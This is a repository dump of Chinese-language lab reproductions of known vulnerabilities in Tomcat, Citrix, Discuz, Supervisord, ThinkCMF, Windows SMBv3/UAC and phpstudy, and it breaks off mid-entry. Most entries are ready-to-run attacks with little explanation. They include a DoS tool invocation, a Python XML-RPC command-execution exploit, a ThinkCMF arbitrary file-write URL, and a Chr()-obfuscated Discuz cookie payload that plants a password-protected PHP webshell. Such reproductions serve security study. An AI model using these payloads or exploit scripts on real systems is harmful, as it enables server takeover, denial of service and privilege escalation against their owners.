30 |                 console.log('onmessage::' + JSON.stringify(msg, null, 4));
31 |             }
32 |             this.webSocket.onclose = function(event) {
33 |                 console.log('onclose::' + JSON.stringify(event, null, 4));                
34 |             }
35 |             this.webSocket.onerror = function(event) {
36 |                 console.log('onerror::' + JSON.stringify(event, null, 4));
37 |             }
38 |             
39 |         } catch (exception) {
40 |             console.error(exception);
41 |         }
42 |     }
43 |     
44 |     getStatus() {
45 |         return this.webSocket.readyState;
46 |     }
47 |     
48 |     send(message) {
49 |         
50 |         if (this.webSocket.readyState == WebSocket.OPEN) {
51 |             this.webSocket.send(message);
52 |             
53 |         } else {
54 |             console.error('webSocket is not open. readyState=' + this.webSocket.readyState);
55 |         }
56 |     }
57 |     
58 |     disconnect() {
59 |         if (this.webSocket.readyState == WebSocket.OPEN) {
60 |             this.webSocket.close();
61 |             
62 |         } else {
63 |             console.error('webSocket is not open. readyState=' + this.webSocket.readyState);
64 |         }
65 |     }
66 | }
67 | 
68 | var client = new WebSocketClient('ws', '172.16.35.133', 8080, '/DemoOne/endpoint');
69 | 
70 | client.connect();
71 | 


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/WebSocketServlet.java:
--------------------------------------------------------------------------------
 1 | package com.pegaxchange.java.web;
 2 | 
 3 | import java.io.IOException;
 4 | import java.util.List;
 5 | import java.util.Map;
 6 | 
 7 | import javax.websocket.OnClose;
 8 | import javax.websocket.OnError;
 9 | import javax.websocket.OnMessage;
10 | import javax.websocket.OnOpen;
11 | import javax.websocket.Session;
12 | import javax.websocket.server.ServerEndpoint;
13 | 
14 | @ServerEndpoint("/endpoint")
15 | public class WebSocketServlet {
16 |     
17 |     @OnOpen
18 |     public void onOpen(Session session) {
19 |         System.out.println( "onOpen::" + session.getId() );        
20 |     }
21 |     
22 |     @OnClose
23 |     public void onClose(Session session) {
24 |         System.out.println( "onClose::" +  session.getId() );
25 |     }
26 |     
27 |     @OnMessage
28 |     public void onMessage(String message, Session session) {
29 |         System.out.println("onMessage::From=" + session.getId() + " Message=" + message);
30 |         try {
31 |             session.getBasicRemote().sendText("Hello Client " + session.getId() + "!");
32 |         } catch (IOException e) {
33 |             e.printStackTrace();
34 |         }
35 |     }
36 |     
37 |     @OnError
38 |     public void onError(Throwable t) {
39 |         System.out.println("onError::" + t.getMessage());
40 |     }
41 | }


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a0.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a1.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a2.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/a3.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/b.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/c.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/d.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/e.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/f.png


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Tomcat：一款流行的java web应用服务器
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：apache-tomcat-8.5.56
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机系统：2008_r2_standard_zh-chs
10 | 
11 | 下载并解压apache-tomcat-8.5.56  
12 | 进入目录bin并执行startup.bat，出现“Server startup in xx ms”，通常表示启动成功，如下图  
13 | ![image](./a.png)  
14 | 访问[http://172.16.35.133:8080/](http://172.16.35.133:8080/)，确认服务成功启动，如下图  
15 | ![image](./b.png)  
16 | 接下来需要操作如下8个步骤：  
17 | 1、JDK安装配置  
18 | 2、Apache Tomcat安装配置  
19 | 3、Eclipse IDE for Java EE安装配置  
20 | 4、Tomcat运行时环境在Eclipse IDE for Java EE中配置  
21 | 5、Eclipse中建立动态web项目  
22 | 6、创建"Hello World" Servlet和JSP视图  
23 | 7、在Eclipse中运行动态web项目  
24 | 8、导出为WAR文件并部署到Tomcat中  
25 | 写好的websocket应用见文件WebSocketServlet.java，部署好的websocket应用见下图  
26 | ![image](./a0.png)  
27 | 在火狐浏览器的开发者工具的控制台中依次执行WebSocketClient.js中的javascript代码，当执行完“client.connect();”，eclipse中tomcat控制台出现“onOpen::0”时，表示websocket应用部署成功，如下图  
28 | ![image](./a1.png)  
29 | 导出为DemoTwo.war并部署到tomcat中  
30 | 
31 | # 0x03 利用条件
32 | Tomcat上部署了WebSocket应用
33 | 
34 | # 0x04 影响版本
35 | 9.0.0.M1 <= apache tomcat <= 9.0.36  
36 | 10.0.0-M1 <= apache tomcat <= 10.0.0-M6  
37 | 8.5.0 <= apache tomcat <= 8.5.56  
38 | 7.0.27 <= apache tomcat <= 7.0.104  
39 | 
40 | # 0x05 漏洞复现
41 | 攻击系统：Kali-Linux-2020.2-vmware-amd64  
42 | 
43 | 复现针对自己编写的websocket应用：  
44 | 执行如下命令：  
45 | git clone https://github.com/RedTeamPentesting/CVE-2020-13935  
46 | cd CVE-2020-13935  
47 | go build  
48 | ./tcdos ws://172.16.35.133:8080/DemoTwo/endpoint  
49 | 执行后靶机系统CPU骤升到100%，如下图  
50 | ![image](./a2.png)  
51 | 此时，tomcat管理控制台显示如下  
52 | ![image](./a3.png)
53 | 
54 | 复现针对自带的websocket应用：  
55 | 首先访问[http://172.16.35.133:8080/examples/websocket/](http://172.16.35.133:8080/examples/websocket/)确认存在WebSocket应用，如下图  
56 | ![image](./f.png)  
57 | 执行如下命令：  
58 | ./tcdos ws://172.16.35.133:8080/examples/websocket/echoProgrammatic  
59 | 执行后靶机系统CPU骤升到100%，如下图  
60 | ![image](./c.png)
61 | 
62 | # 0x06 踩坑记录
63 | 坑1：  
64 | 执行go build后，可能会报如下错误  
65 | ![image](./d.png)  
66 | 此时需要一些合理上网方式，成功执行后如下图  
67 | ![image](./e.png)  
68 | 
69 | # 0x07 参考链接
70 | https://www.anquanke.com/post/id/221861  
71 | https://github.com/RedTeamPentesting/CVE-2020-13935  
72 | https://www.pegaxchange.com/2018/01/28/websocket-server-java/  
73 | https://www.pegaxchange.com/2016/09/02/java-eclipse-tomcat/  
74 | https://www.cnblogs.com/xdp-gacl/p/5193279.html  
75 | https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/
76 | 


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/tcdos:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/tcdos


--------------------------------------------------------------------------------
/2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）/0.png


--------------------------------------------------------------------------------
/2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）/CVE-2019-19781.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）/CVE-2019-19781.zip


--------------------------------------------------------------------------------
/2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Citrix：可以简单理解为从外网接入的公司的VPN设备，或网络出口的路由器设备等
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：测试环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 无
10 | 
11 | # 0x03 利用条件
12 | 无
13 | 
14 | # 0x04 影响版本
15 | Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24  
16 | NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18  
17 | NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13  
18 | NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15  
19 | NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12  
20 | Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b
21 | 
22 | # 0x05 漏洞复现
23 | 攻击环境：kali_x64_en-us
24 | 
25 | git clone https://github.com/projectzeroindia/CVE-2019-19781  
26 | cd ./CVE-2019-19781  
27 | bash CVE-2019-19781.sh x.x.x.x 'ls'  
28 | 如下图  
29 | ![image](./0.png)
30 | 
31 | # 0x06 踩坑记录
32 | 无
33 | 
34 | # 0x07 参考链接
35 | 无
36 | 


--------------------------------------------------------------------------------
/2020_11_11_Discuz 7.x 6.x 全局变量防御绕过导致远程代码执行/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Discuz 7.x 6.x 全局变量防御绕过导致远程代码执行/0.png


--------------------------------------------------------------------------------
/2020_11_11_Discuz 7.x 6.x 全局变量防御绕过导致远程代码执行/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Discuz：一款流行的论坛程序
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：vulhub中的环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：2008_r2_standard_zh-chs
10 | 
11 | 切换到对应目录下  
12 | docker-compose up -d  
13 | 启动后，访问[http://172.16.35.128:8080/install/](http://172.16.35.128:8080/install/)来安装discuz，数据库地址填写db，数据库名为discuz，数据库账号密码均为root
14 | 
15 | # 0x03 利用条件
16 | 无
17 | 
18 | # 0x04 影响版本
19 | Discuz 7.x 6.x
20 | 
21 | # 0x05 漏洞复现
22 | 攻击环境：kali_x64_en-us
23 | 
24 | 安装成功后，直接找一个已存在的帖子，向其发送数据包，将Cookie中的数据改为
25 | ```
26 | GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()
27 | ```
28 | 请求如下
29 | ```
30 | GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
31 | Host: 172.16.35.128:8080
32 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
33 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
34 | Accept-Language: en-US,en;q=0.5
35 | Accept-Encoding: gzip, deflate
36 | Referer: http://172.16.35.128:8080/forumdisplay.php?fid=2&page=1
37 | Connection: close
38 | Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()
39 | Upgrade-Insecure-Requests: 1
40 | Pragma: no-cache
41 | Cache-Control: no-cache
42 | ```
43 | 返回如下图  
44 | ![image](./0.png)  
45 | 
46 | 想getshell可将Cookie中的内容变为  
47 | ```
48 | GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
49 | ```
50 | 发送的请求如下  
51 | ```
52 | GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
53 | Host: 172.16.35.128:8080
54 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
55 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
56 | Accept-Language: en-US,en;q=0.5
57 | Accept-Encoding: gzip, deflate
58 | Referer: http://172.16.35.128:8080/forumdisplay.php?fid=2&page=1
59 | Connection: close
60 | Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
61 | Upgrade-Insecure-Requests: 1
62 | Pragma: no-cache
63 | Cache-Control: no-cache
64 | ```
65 | 然后可使用蚁剑连接，地址http://172.16.35.128:8080/wf.php 密码lalala
66 | 
67 | # 0x06 踩坑记录
68 | 无
69 | 
70 | # 0x07 参考链接
71 | 无
72 | 


--------------------------------------------------------------------------------
/2020_11_11_Supervisord远程代码执行漏洞复现（CVE-2017-11610）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Supervisord远程代码执行漏洞复现（CVE-2017-11610）/0.png


--------------------------------------------------------------------------------
/2020_11_11_Supervisord远程代码执行漏洞复现（CVE-2017-11610）/poc.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | import xmlrpc.client
 3 | import sys
 4 | 
 5 | 
 6 | target = sys.argv[1]
 7 | command = sys.argv[2]
 8 | with xmlrpc.client.ServerProxy(target) as proxy:
 9 |     old = getattr(proxy, 'supervisor.readLog')(0,0)
10 | 
11 |     logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
12 |     getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
13 |     result = getattr(proxy, 'supervisor.readLog')(0,0)
14 | 
15 |     print(result[len(old):])
16 | 


--------------------------------------------------------------------------------
/2020_11_11_Supervisord远程代码执行漏洞复现（CVE-2017-11610）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Supervisord：一款python实现的进程管理程序
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：vulhub中的环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：kali_x64_en-us
10 | 
11 | cd vulhub/supervisor/CVE-2017-11610  
12 | docker-compose up -d
13 | 
14 | # 0x03 利用条件
15 | 无
16 | 
17 | # 0x04 影响版本
18 | Supervisor 3.3.2 (2017-06-03)  
19 | Supervisor 3.3.1 (2016-08-02)  
20 | Supervisor 3.3.0 (2016-05-14)  
21 | Supervisor 3.2.3 (2016-03-19)  
22 | Supervisor 3.2.2 (2016-03-04)  
23 | Supervisor 3.2.1 (2016-02-06)  
24 | Supervisor 3.2.0 (2015-11-30)  
25 | Supervisor 3.1.3 (2014-10-28)  
26 | Supervisor 3.1.2 (2014-09-07)
27 | 
28 | # 0x05 漏洞复现
29 | 攻击环境：kali_x64_en-us
30 | 
31 | python3 ./poc.py "http://172.17.0.1:9001/RPC2" "id"  
32 | 如下图  
33 | ![image](./0.png)
34 | 
35 | # 0x06 踩坑记录
36 | 无
37 | 
38 | # 0x07 参考链接
39 | 无
40 | 


--------------------------------------------------------------------------------
/2020_11_11_ThinkCMF远程代码执行漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_ThinkCMF远程代码执行漏洞复现/0.png


--------------------------------------------------------------------------------
/2020_11_11_ThinkCMF远程代码执行漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_ThinkCMF远程代码执行漏洞复现/1.png


--------------------------------------------------------------------------------
/2020_11_11_ThinkCMF远程代码执行漏洞复现/ThinkCMFX_2.2.3.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_ThinkCMF远程代码执行漏洞复现/ThinkCMFX_2.2.3.zip


--------------------------------------------------------------------------------
/2020_11_11_ThinkCMF远程代码执行漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | 基于ThinkPHP 3.2.3，让开发者更方便的一款开发框架
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：ThinkCMF X2.2.3
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：win10_1909_pro_x64_zh-chs
10 | 
11 | 下载ThinkCMF X2.2.3，直接放到phpstudy的目录下，访问/ThinkCMFX/，根据提示操作即可
12 | 
13 | # 0x03 利用条件
14 | 无
15 | 
16 | # 0x04 影响版本
17 | ThinkCMF X1.6.0  
18 | ThinkCMF X2.1.0  
19 | ThinkCMF X2.2.0  
20 | ThinkCMF X2.2.1  
21 | ThinkCMF X2.2.2  
22 | ThinkCMF X2.2.3
23 | 
24 | # 0x05 漏洞复现
25 | 攻击环境：win10_1909_pro_x64_zh-chs（在英文的kali系统下访问会提示“just a demo for multi lang user! LANG IS en-us;”）
26 | 
27 | 任意文件写入漏洞复现：  
28 | 浏览器下访问  
29 | ```
30 | ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
31 | ```
32 | 访问test.php，可以看到phpinfo已经加载出来
33 | ![image](./0.png)
34 | 
35 | 任意文件包含漏洞复现：  
36 | 浏览器访问  
37 | ```
38 | ?a=display&templateFile=README.md
39 | ```
40 | 可以看到成功包含了README.md
41 | ![image](./1.png)
42 | 
43 | # 0x06 踩坑记录
44 | 坑1：  
45 | 搭建环境时，第三步报错，提示“thinkcmf 安装报错 Driver.class.php 　LINE: 350”，执行“drop database thinkcmf”后，重新安装成功，原因未知
46 | 
47 | # 0x07 参考链接
48 | 无
49 | 


--------------------------------------------------------------------------------
/2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）/0.png


--------------------------------------------------------------------------------
/2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）/cve-2020-0796-local提权工具.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）/cve-2020-0796-local提权工具.exe


--------------------------------------------------------------------------------
/2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | SMB：Windows下常用的文件共享的协议
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：windows 10
10 | 
11 | # 0x03 利用条件
12 | 无
13 | 
14 | # 0x04 影响版本
15 | Windows  10 Version 1903 for 32-bit Systems  
16 | Windows  10 Version 1903 for ARM64-based Systems  
17 | Windows  10 Version 1903 for x64-based Systems  
18 | Windows  10 Version 1909 for 32-bit Systems  
19 | Windows  10 Version 1909 for ARM64-based Systems  
20 | Windows  10 Version 1909 for x64-based Systems  
21 | Windows  Server, version 1903 (Server Core installation)  
22 | Windows  Server, version 1909 (Server Core installation)
23 | 
24 | # 0x05 漏洞复现
25 | 攻击环境：windows 10
26 | 
27 | 执行“cve-2020-0796-local提权工具.exe”后，会以管理员权限弹出命令提示符窗口，如下图  
28 | ![image](./0.png)
29 | 
30 | # 0x06 踩坑记录
31 | 坑1：  
32 | 复现失败原因：可能禁用了SMB 3.1的压缩功能  
33 | 解决办法(启用SMB 3.1的压缩功能）：  
34 | 以管理员方式运行 Powershell，执行如下命令：  
35 | ```
36 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
37 | ```
38 | -Value的值改为1禁用
39 | 
40 | # 0x07 参考链接
41 | 无
42 | 


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/0.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/1.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/2.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/3.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/4.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/5.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/6.png


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/hhupd.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/hhupd.exe


--------------------------------------------------------------------------------
/2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | UAC：Windows下一款权限控制程序
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：Windows 7
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：Windows 7 专业版 版本 6.1（内部版本 7601：Service Pack 1）
10 | 
11 | # 0x03 利用条件
12 | 无
13 | 
14 | # 0x04 影响版本
15 | 服务器版本：  
16 | Windows 2008r2 7601  
17 | Windows 2012r2 9600  
18 | Windows 2016 14393  
19 | Windows 2019 17763  
20 | PC版本：  
21 | Windows 7 SP1 7601  
22 | Windows 8 9200  
23 | Windows 8.1 9600  
24 | Windows 10 1511 10240  
25 | Windows 10 1607 14393  
26 | Windows 10 1703 15063  
27 | Windows 10 1709 16299
28 | 
29 | # 0x05 漏洞复现
30 | 攻击环境：Windows 7 专业版 版本 6.1（内部版本 7601：Service Pack 1）
31 | 
32 | 创建用户wql（普通用户权限），使用账号wql登入系统，win+r输入cmd，键入命令whoami，结果如下  
33 | ![image](./0.png)  
34 | 使用管理员权限打开工具hhupd.exe，点击显示详细信息，按图示点击  
35 | ![image](./2.png)  
36 | ![image](./3.png)  
37 | 关闭窗口，这时候浏览器会打开之前点击的链接，（必须要关闭窗口，不然不会显示的），在浏览器中点击页面，另存为，如下  
38 | ![image](./4.png)  
39 | 选择C:\Windows\System32\cmd  ，如下
40 | ![image](./5.png)  
41 | 回车之后就会弹出一个命令提示符窗口，输入命令：whoami，成功提权，结果如下
42 | ![image](./6.png)  
43 | 
44 | # 0x06 踩坑记录
45 | 坑1：  
46 | 有的复现帖子上说win10 1903和win7都可以，但是实测win 10 1903 (OS 内部版本18362.778)与win7 (7600)均复现失败。
47 | 
48 | # 0x07 参考链接
49 | 无
50 | 


--------------------------------------------------------------------------------
/2020_11_11_phpstudy后门漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_phpstudy后门漏洞复现/0.png


--------------------------------------------------------------------------------
/2020_11_11_phpstudy后门漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_phpstudy后门漏洞复现/1.png


--------------------------------------------------------------------------------
/2020_11_11_phpstudy后门漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | phpstudy：流行的php集成部署环境
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：phpstudy 2018
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：2008_r2_standard_zh-chs
10 | 
11 | 后门代码存在于phpstudy 2016和phpstudy 2018自带的php-5.2.17、php-5.4.45中的\ext\php_xmlrpc.dll模块中，用记事本打开此文件，查找“@eval”，若文件存在“@eval(%s('%s'));”则存在后门，如下图  
12 | ![image](./0.png)  
13 | 下载并安装phpstudy 2018，按照提示下一步即可
14 | 
15 | # 0x03 利用条件
16 | 无
17 | 
18 | # 0x04 影响版本
